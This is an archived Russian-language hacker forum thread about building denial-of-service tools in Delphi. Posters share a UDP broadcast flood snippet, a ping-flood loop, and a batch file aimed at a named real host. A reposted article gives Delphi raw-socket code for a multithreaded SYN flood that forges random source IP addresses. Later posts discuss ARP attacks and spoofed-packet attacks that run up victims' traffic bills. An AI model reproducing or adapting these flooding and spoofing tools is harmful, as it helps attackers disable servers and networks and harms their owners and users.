Просмотр полной версии : DDos на Дельфях, есть вопросы((((
Flame of Soul
04.11.2007, 23:22
Объясните пожалуйста, если написать программу которая будел посылать пакеты допустим по UDP на один и тот же айпи, на открытый порт(на компе жертвы атаки) и запустить на нескольких компах - это будет DDos атакой. И вопрос еще один глупый .. если запустить ее на 60 компах и атаку проводить на один комп это возымеет эффект. Я понимаю что в интернете чтобы положить сервер нужно очень много ботов, но а если это в локале здесь ведь канал трафика больше да и сервак обычный комп(мой комп) то возможно его положить?
PS: вопроо с целью изучения, и будет тестироваться в крайнем случае на моем компе. Помогите девушке..
orcismylife
04.11.2007, 23:41
девушки умеют проггить на дельфях?:)
про удп флуд не знаю, а я вот с двух компов на 10мбитной сетке запинговывал комп, так что у моего соседа машина лагала, что работать невозможно было.
ping [IP] -l 65535 -n 200
кажется так. почитай cmd.exe -> ping /?
Ну пингом сейчас не ддосят имхо, на многих хостах просто стоит опция не принимать Icmp запросы (особенно если файрвол стоит). Попробовать конечно можно, но если владелец компа не дурак, то и тебя вычислит и ддос с себя снимет за пару минут.
Flame of Soul
05.11.2007, 00:03
Kaimi для хостов конечно ныжно подходить профессионально и без пинга речь о лоалке, и вопрос по дельфям, как я описала - это относиться к DDos или тупо к Dos хотябы атакам? Ребят ну пожалуйста мне больше ни че не нужно, кроме этого... Спасибо всем заранее за ответы...
DoS-атака (от англ. Denial of Service — «отказ в обслуживании») и DDoS-атака (Distributed Denial of Service — «распределённый отказ обслуживания») — это разновидности атак злоумышленника на компьютерные системы. Целью этих атак является создание таких условий, при которых легитимные (правомерные) пользователи системы не могут получить доступ к предоставляемым системой ресурсам, либо этот доступ затруднён.
Существуют различные причины, по которым может возникнуть DoS-условие:
* Ошибка в программном коде, приводящая к обращению к неиспользуемому фрагменту адресного пространства, выполнению недопустимой инструкции или другой необрабатываемой исключительной ситуации, когда происходит аварийное завершение серверного приложения. Классическим примером является обращение по нулевому (англ. null) указателю.
* Недостаточная проверка данных пользователя, приводящая к бесконечному либо длительному циклу или повышенному длительному потреблению процессорных ресурсов (исчерпанию процессорных ресурсов) либо выделению большого объема оперативной памяти (исчерпанию памяти).
* Флуд (англ. flood) — атака, связанная с большим количеством обычно бессмысленных или сформированных в неправильном формате запросов к компьютерной системе или сетевому оборудованию, имеющая своей целью или приведшая к отказу в работе системы из-за исчерпания ресурсов системы — процессора, памяти либо каналов связи.
* Атака второго рода — атака, которая стремится вызвать ложное срабатывание системы защиты и таким образом привести к недоступности ресурса.
while 1=1 do WinExec('ping [IP] -l 65535 -n 200',SW_HIDE)
Flame of Soul
05.11.2007, 02:30
while 1=1 do WinExec('ping [IP] -l 65535 -n 200',SW_HIDE)
а while 1=1 do здесь зачем? вдь он и так отправит 200 пакетов?????
или это шутка? ведь цикл бесконечный.....
while 1=1 do WinExec('ping [IP] -l 65535 -n 200',SW_HIDE)
Интересно - что ты больше повесишь - себя или чужой комп?
вы не понимаете разницу между DDoS и Флуд атакой...
ваш вопрос можно расцениват как: "Как провести флуд атаку по протокулу UPD?"
что-то типа того... но никак ни DDoS...
while 1=1 do WinExec('ping [IP] -l 65535 -n 200',SW_HIDE)
это для самоубиц...
врятли чем-то поможет, тем более следующий шаг цикла не будет предшевствовать предыдущему, значит ping.exe заполнит память, что вызовет отказ в обслуживание, чем чревата минимум fast-reboot, а еще хуже BSOD'ом...
Ступил ) Сам не понял что написал )
Ща зделаю флуд по удп и дам исходник
procedure TMainForm.FormCreate(Sender: TObject);
var
Init: TWSAData;
SockOpt: BOOL;
Sock: TSocket;
Target: TSockAddrIn;
begin
WSAStartup($101,Init);
Sock:=Socket(PF_INET,SOCK_DGRAM,IPPROTO_UDP);
SockOpt:=TRUE;
SetSockOpt(Sock,SOL_SOCKET,SO_BROADCAST, PChar(@SockOpt),SizeOf(SockOpt)) ;
Target.sin_port:=htons(8167); //номер порта
Target.sin_addr.S_addr:=INADDR_BROADCAST;
Target.sa_family:=AF_INET;
SendTo(Sock,Data,DataBytes,0,Target,SizeOf(Target) );
WSACleanup;
end;
если нужен просто пинг то можно написать бат файл к примеру вот:
@echo off
set /a countping=0
:dosbegin
set /a countping=%countping% + 1
start /min ping j-fan.net.ru -n 999999 -t -l 65000 -w 0
echo %countping%
if %countping% == 100 (
exit /b
)
goto dosbegin:
а если на делфях то вот:
[Инфо] Я думаю, что ты уже наслышан о DdoS-атаках. Хакеры получают огромные деньги за ddos сайтов, держа ресурсы неделями в ауте. Думаешь, что создать бота, способного производить dos-атаки, очень сложно? На самом деле все очень просто и сейчас ты сам в этом убедишься.
[Немного теории] DoS (Denial of Service) – это отказ в обслуживании. Т.е. хакер засоряет канал жертвы мусором так, что она не может отвечать на запросы легальных пользователей. Атакующий может сделать это двумя способами: атаки на переполнение буфера (Buffer Overflow) или отправка большого количество мусора (банальный флуд). Мы будем рассматривать второй вариант. Наша программа будет долбить сервер специально сгенерированными пакетами. Почему специальными? Да, потому что обычными запросами ничего не добьешься (точнее добьешься, только таких запросов нужно отправить слишком много). Мы же будем использовать технику, названную syn-flood. Надеюсь, ты знаешь, что такое TCP/IP протокол, и проблем с пониманием работы этой техникой у тебя не возникает.
Syn-flood основан на особенностях организации соединения между двумя компьютерами по протоколу TCP. Компьютер, который хочет соединиться, отправляет запрос с пакетом SYN. На это другая машина отвечает пакетом с флагом SYNACK. Получив ответ, первый компьютер посылает с флагом ACK, и потом происходит соединение. На рисунках представлена схема соединения.
Клиент --------SYN----------> Сервер
Клиент <----SYNACK--------- Сервер
Клиент --------ACK----------> Сервер
Везде предусмотрено ожидание (т.е. пакет попадает в буфер), иначе бы люди, сидящие на слабых каналах не смогли бы установить соединение.
TCP протокол инкапсулирован в IP (т.е. IP пакет содержит в себе TCP пакет). Именно в IP пакете содержится инфа о получателе и отправителе, а значит мы эту инфу можем подменить. Такой прием называется IP-спуфинг. Теперь сервер будет посылать SYNACK-пакет по «левым» адресам. Учитывая то, что буфер будет расти, хакер сможет серьезно замедлить работу сервера, а то и вовсе ее остановить.
Для того, чтобы все это проделать, придется собирать пакет вручную. А значит придется использовать RAW (сырые сокеты). К сожалению, в Delphi 7 нет поддержки сокетов второй версии (поддерживаются только первые), а самому объявлять необходимые функции и константы мне в лом, поэтому я использовал заголовочный файл WinSock2.pas, скачанный мною из сети.
[Let’s code] Сначала нужно объявить структуры IP и TCP заголовков. Значение всех полей можно прочитать в RFC.
PHP код:
//IP-заголовок
iph = record
ip_verlen: byte; //Версия и длина
ip_tos: byte; //Приоритет пакета
ip_len: word; // Длина заголовка
ip_id: word; // id -пакета
ip_offset: word; //Смещение
ip_ttl: byte; //Время жизни
ip_protocol: byte; //Протокол
ip_checksum: word; //Контрольная сумма
ip_saddr: longword; //Адрес отправителя
ip_daddr: longword; //Адрес получателя
end;
//TCP-заголовок
tcph = record
th_sport: word; //Порт отправителя
th_dport: word; //Порт получателя
th_seq: longword; // Последовательный номер
th_ack: longword; // Подтвержденный номер
th_len: byte; // Длина заголовка
th_flags: byte; // Кодовые биты
th_win: word; // Окно
th_checksum: word; // Контрольная сумма
th_upr: word; // Кодовые биты
end;
Итак, чтобы начать работу с библиотекой WinSock2, нужно ее инициализировать
PHP код:
WSAStartup(MAKEWORD(2,2),WSAdata)
Теперь создаем «сырой» сокет
PHP код:
FSocket:=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,ni l,0,WSA_FLAG_OVERLAPPED);
Далее устанавливаем опции соединения (включение заголовка и время отправки):
PHP код:
op:=1;
setsockopt(FSocket,IPPROTO_IP,IP_HDRINCL,@op,sizeo f(op));
nTimeOver:=1000;
setsockopt(FSocket,SOL_SOCKET,SO_SNDTIMEO,@nTimeOv er,sizeof(nTimeOver));
Далее следует большой код сборки пакета.
//Собираем пакет
//Пишем версию и длину ip-пакета
ipHeader.ip_verlen:=((4 shl 4)or sizeof(ipheader) div sizeof(longword));
ipHeader.ip_len:=htons(Size);
ipHeader.ip_tos:=0; //Приоритет пакета
ipHeader.ip_id:=1; //id-пакета
ipHeader.ip_offset:=0; //смещение
ipHeader.ip_ttl:=128; //время жизни пакета
ipHeader.ip_protocol:=IPPROTO_TCP; //протокол
//Генерируем рандомный ip-адресс
FromIp:='';
For j:=0 to 3 do
begin
RandIp:=random(255);
Str(Randip,Buffer[j]);
end;
//lstrcat –функция для сцепки строк
lstrcat(Fromip,Buffer[0]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[1]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[2]); lstrcat(Fromip,'.');
lstrcat(Fromip,Buffer[3]);
ipHeader.ip_saddr:=inet_addr(FromIp); //Адрес источника
ipHeader.ip_daddr:=inet_addr(DestIp) ;//Адрес получателя
//Заполняем TCP-заголовок
TCPHeader.th_sport:=htons(Random(65000)); //Порт источника
TCPHeader.th_dport:=htons(port); //Порт получателя
TCPHeader.th_seq:=Random(4294967295); //Номер пакета
TCPHeader.th_ack:=0;
TCPHeader.th_len:=80;
//SYN-пакет
TCPHeader.th_flags:=2;
TCPHeader.th_win:=htons(65535);
TCPHeader.th_upr:=0;
TCPHeader.th_checksum:=0;//Контрольная сумма TCP-пакета, которая расчитывается ниже
//Расчет контрольной суммы
DataPointer := @TCPIP[0];
FillChar(TCPIP, SizeOf(TCPIP), 0);
Move(ipHeader.ip_saddr, DataPointer^, SizeOf(ipHeader.ip_saddr));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_saddr));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_saddr);
Move(ipHeader.ip_daddr, DataPointer^, sizeof(ipHeader.ip_daddr));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_daddr));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_daddr);
DataPointer := pointer(integer(DataPointer) + 1);
Inc(ChecksumSize);
Move(ipHeader.ip_protocol, DataPointer^, sizeof(ipHeader.ip_protocol));
DataPointer := pointer(integer(DataPointer) + SizeOf(ipHeader.ip_protocol));
ChecksumSize := ChecksumSize + sizeof(ipHeader.ip_protocol);
TcpHeaderLen := htons(sizeof(tcpHeader));
Move(TcpHeaderLen, DataPointer^, sizeof(TcpHeaderLen));
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeaderLen));
ChecksumSize := ChecksumSize + sizeof(TcpHeaderLen);
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
DataPointer := pointer(integer(DataPointer) + SizeOf(TCPHeader));
ChecksumSize := ChecksumSize + sizeof(tcpHeader);
tcpHeader.th_checksum := CheckSum(TCPIP, ChecksumSize);
FillChar(TCPIP, sizeof(TCPIP), 0);
DataPointer := @TCPIP[0];
Move(ipHeader, DataPointer^, sizeof(ipHeader));
DataPointer := pointer(integer(DataPointer) + SizeOf(IPHeader));
Move(tcpHeader, DataPointer^, sizeof(tcpHeader));
После чего его нужно отправить
For i:=0 to 10 do
begin
if (sendto(FSocket,TCPIP,Size,0,SockAddr_in,Sizeof(So ckAddr_In))=SOCKET_ERROR)
then
Writeln('Send error')
else
Writeln('Send ok');
end;
Весь код желательно поместить в одну функцию. Чтобы создать достаточную нагрузку на сервер нужно использовать многопоточность. Создаем потоки с помощью CreateThread и ждем завершения выполнения с помощью WaitForMultipleObjects
PHP код:
//Создаем потоки
for i:=0 to (CountT-1) do
Begin hThread[i]:=CreateThread(nil,0,@SINFLOOD,nil,0,ThreadID[i]);
end;
WaitForMultipleObjects(CountT,@hthread,true,INFINI TE);
Не надейся, что с диалапа ты сможешь завалить сервер Microsoft’а. В настоящий момент у серверов ширина канала и производительность намного превышает пользовательские возможности, поэтому чтобы завалить сервак нужно атаковать его с помощью сети состоящей из большого количества зараженных машин. Также не стоит забывать, что flood карается нашим законадательством, поэтому если не хочешь провети ближайшие несколько лет за решеткой, будь благоразумен.
материалы к статье - http://narod.yandex.ru/100.xhtml?ml2.../DoS_files.zip
(c) TanKisT
вы не понимаете разницу между DDoS и Флуд атакой...
ваш вопрос можно расцениват как: "Как провести флуд атаку по протокулу UPD?"
что-то типа того... но никак ни DDoS...
не много в жизни встретишь примеров ddos-атаки не основанной на флуде..
В одной локалке ? ? ?
да вздерни его через ARP нах и никакого icmp ;) ...
А у кого есть исходник программы для отправки UPD пакетов ? на C++ или Delphi
Delimiter
10.01.2008, 23:01
хммммм.... а вы уверены что хотите именно UDP???
СОРЕВНОВАТЬСЯ У КОГО КАНАЛ ШИРЕ СМЕШНО!!!
Лучше перечитайте RinOS!!!
RinOS в принцыпе был точен, ему всего лишь было лень обьяснять
что произойдет если генериться(craft) будут только SYN пакеты, то есть будут отсутствовать RST и FIN пакеты.
сессия считается установленной после отсылки сервером
своего SYN пакета!!!!!!
Возьмем стандартный TCP сервер(например Apach или легкий KeyFocus).... у каждого из них как правило имеются ограничение на количество одновренных клиентов(активных TCP коннектов).
И пусть чтото там может разрываться по таймауту но....
это все измеряется вполне реальными секундами... в течении которых вы можете "завалить" сервер SYS-ами.
А за то что написал W!z@rD вас четвертует (или еще хуже)собственный админ!!!
Delimiter, а у тебя на аватаре ты сам нарисован или кто-то другой?
Delimiter
11.01.2008, 23:54
А чего уже вывесили "Его разыскивает отдел К"?
дык там все фотожопером сделано.... на самом деле я толстый и лысый
Delimiter
12.01.2008, 00:27
ну дык может у нас папа общий.... у меня папа - лейтенант Шмит (человек и пароход) к тому же турецкоподданый!
Dr.Bodja
18.06.2008, 23:12
Я когда-то думал, как мне сервер в локалке завалить, и пришел к выводу. У меня у всех в локальной сети канал 100мбит/с. Что мы имеем, 100мбит = 12,5Мб = 12800Кб = 13107200байт. 13107200/65535 = 200. Если реализовать с одного компьютера одновременно ping -l 65500 -n 1000. То с двух компьютеров можно завалить любой другой, при этом особых лаг атакующий компьютер не получит, ибо канал будет использоватся на 50%.
девушки умеют проггить на дельфях? А ты членом программируешь?
Updated: моя на асме и всяких C++ сама пишет... /me похвасталсо )
Dr.Bodja
19.06.2008, 14:11
2Dober'man, почему насрать? Обоснуй.
Delimiter
20.06.2008, 08:30
ping - depth имеет смысл только при условии что адрес получателя = адресу отправляющего, работал на системах windows 3.xx, w95,w97 , winnt 4.0 и уже в милениуме фишка была закрыта.
И ГЛАВНОЕ ПРАВИЛО!!! ПИНГ СЛУЖБА НЕ ОБЯЗАНА ОТВЕЧАТЬ ЕСЛИ НЕ УСПЕВАЕТ, ОНА ОТВЕТИТ НА ТО ЧТО УСПЕЕТ.
А вот tcp стек строится на полной обработке.... или успею или умру!
o_OBallers
20.06.2008, 16:48
ping, udp, syn-flood, всё это не актуально так как можно легко защититься.
Самое действенное HTTP флуд.
У меня в городе еще не очень распространен безлимитный интернет, а в основном платные лимитные тарифы, причем лимиты ну 500 мб максимум самый большой. Для наших сетей имела смысл такая атака - сканились порта машины, потом конкретно писалась программа(или пхп скрипт) под порты, которая бомбила пакетами с неисправным обратным адерсом, который был на внешку, и машина отвечала запросами на внешку, происходила накрутка трафика. Некоторых людей даже через icmp на очень большие деньги кидали :)
Delimiter
20.06.2008, 22:28
ping, udp, syn-flood, всё это не актуально так как можно легко защититься.
Самое действенное HTTP флуд.
Ересь..... еретика! Syn-flood который подменяет ip источника ты осмеливаешься сравнивать с тупым http ?
.... синфлуд бьет не по админу сайта а по самому web-серверу, заполняя стек входящими tcp с syn флагами заставляя tcp стек отвечать в соответствии с tcp протоколом ответными tcp c syn флагом ..... и такие сессии не закрываются....
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot